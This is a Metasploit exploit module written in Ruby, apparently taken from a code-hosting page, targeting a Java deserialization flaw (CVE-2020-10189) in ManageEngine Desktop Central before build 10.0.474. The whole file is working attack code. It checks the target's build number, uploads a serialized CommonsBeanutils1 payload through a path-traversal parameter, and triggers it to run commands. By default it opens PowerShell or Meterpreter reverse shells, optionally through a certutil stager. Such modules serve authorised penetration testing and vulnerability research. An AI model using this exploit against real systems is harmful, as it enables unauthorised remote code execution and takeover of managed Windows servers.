212 lines
6.3 KiB
Ruby
212 lines
6.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = GreatRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::JavaDeserialization
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'ManageEngine Desktop Central Java Deserialization',
|
|
'Description' => %q{
|
|
This module exploits a Java deserialization vulnerability in the
|
|
getChartImage() method from the FileStorage class within ManageEngine
|
|
Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.
|
|
|
|
Quoting the vendor's advisory on fixed versions:
|
|
|
|
"The short-term fix for the arbitrary file upload vulnerability was
|
|
released in build 10.0.474 on January 20, 2020. In continuation of
|
|
that, the complete fix for the remote code execution vulnerability is
|
|
now available in build 10.0.479."
|
|
},
|
|
'Author' => [
|
|
'mr_me', # Discovery and exploit
|
|
'wvu' # Module
|
|
],
|
|
'References' => [
|
|
['CVE', '2020-10189'],
|
|
['URL', 'https://srcincite.io/advisories/src-2020-0011/'],
|
|
['URL', 'https://srcincite.io/pocs/src-2020-0011.py.txt'],
|
|
['URL', 'https://twitter.com/steventseeley/status/1235635108498948096'],
|
|
['URL', 'https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html']
|
|
],
|
|
'DisclosureDate' => '2020-03-05', # 0day release
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'Privileged' => true,
|
|
'Targets' => [
|
|
[
|
|
'Windows Command',
|
|
{
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :win_cmd,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Windows Dropper',
|
|
{
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :win_dropper,
|
|
'CmdStagerFlavor' => :certutil, # This works without issue
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'PowerShell Stager',
|
|
{
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :psh_stager,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 2,
|
|
'DefaultOptions' => {
|
|
'SSL' => true,
|
|
'WfsDelay' => 60 # It can take a little while to trigger
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [SERVICE_RESOURCE_LOSS], # May 404 the upload page?
|
|
'Reliability' => [FIRST_ATTEMPT_FAIL], # Payload upload may fail
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
Opt::RPORT(8383),
|
|
OptString.new('TARGETURI', [true, 'Base path', '/'])
|
|
])
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'configurations.do')
|
|
)
|
|
|
|
unless res
|
|
return CheckCode::Unknown('Target did not respond to check.')
|
|
end
|
|
|
|
unless res.code == 200 && res.body.include?('ManageEngine Desktop Central')
|
|
return CheckCode::Unknown('Target is not running Desktop Central.')
|
|
end
|
|
|
|
build = res.get_html_document.at('//input[@id = "buildNum"]/@value')&.text
|
|
|
|
unless build&.match(/\d+/)
|
|
return CheckCode::Detected(
|
|
'Target did not respond with Desktop Central build.'
|
|
)
|
|
end
|
|
|
|
# Desktop Central build 100474 is equivalent to version 10.0.474
|
|
if build.to_i < 100474
|
|
return CheckCode::Appears(
|
|
"Desktop Central #{build} is a vulnerable build."
|
|
)
|
|
end
|
|
|
|
CheckCode::Safe("Desktop Central #{build} is NOT a vulnerable build.")
|
|
end
|
|
|
|
def exploit
|
|
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
|
|
|
case target['Type']
|
|
when :win_cmd
|
|
execute_command(payload.encoded)
|
|
when :win_dropper
|
|
execute_cmdstager
|
|
when :psh_stager
|
|
execute_command(cmd_psh_payload(
|
|
payload.encoded,
|
|
payload.arch.first,
|
|
remove_comspec: true
|
|
))
|
|
end
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
vprint_status("Executing command: #{cmd}")
|
|
|
|
# I identified mr_me's binary blob as the CommonsBeanutils1 payload :)
|
|
java_payload = generate_java_deserialization_for_command(
|
|
'CommonsBeanutils1',
|
|
'cmd',
|
|
cmd
|
|
)
|
|
|
|
# XXX: Patch in expected serialVersionUID
|
|
java_payload[140, 8] = "\xcf\x8e\x01\x82\xfe\x4e\xf1\x7e"
|
|
|
|
# Rock 'n' roll!
|
|
upload_serialized_payload(java_payload)
|
|
deserialize_payload
|
|
end
|
|
|
|
def upload_serialized_payload(serialized_payload)
|
|
print_status('Uploading serialized payload')
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/mdm/client/v1/mdmLogUploader'),
|
|
'ctype' => 'application/octet-stream',
|
|
'vars_get' => {
|
|
# Traversal from C:\Program Files\DesktopCentral_Server\mdm-logs\foo\bar
|
|
'udid' => '\\..\\..\\..\\webapps\\DesktopCentral\\_chart',
|
|
'filename' => 'logger.zip'
|
|
},
|
|
'data' => serialized_payload
|
|
)
|
|
|
|
unless res && res.code == 200
|
|
fail_with(Failure::UnexpectedReply, 'Could not upload serialized payload')
|
|
end
|
|
|
|
print_good('Successfully uploaded serialized payload')
|
|
|
|
# Shell lands in C:\Program Files\DesktopCentral_Server\bin
|
|
register_file_for_cleanup('..\\webapps\\DesktopCentral\\_chart\\logger.zip')
|
|
end
|
|
|
|
def deserialize_payload
|
|
print_status('Deserializing payload')
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'cewolf'),
|
|
'vars_get' => {
|
|
'img' => '\\logger.zip'
|
|
}
|
|
)
|
|
|
|
unless res && res.code == 200
|
|
fail_with(Failure::UnexpectedReply, 'Could not deserialize payload')
|
|
end
|
|
|
|
print_good('Successfully deserialized payload')
|
|
end
|
|
|
|
end
|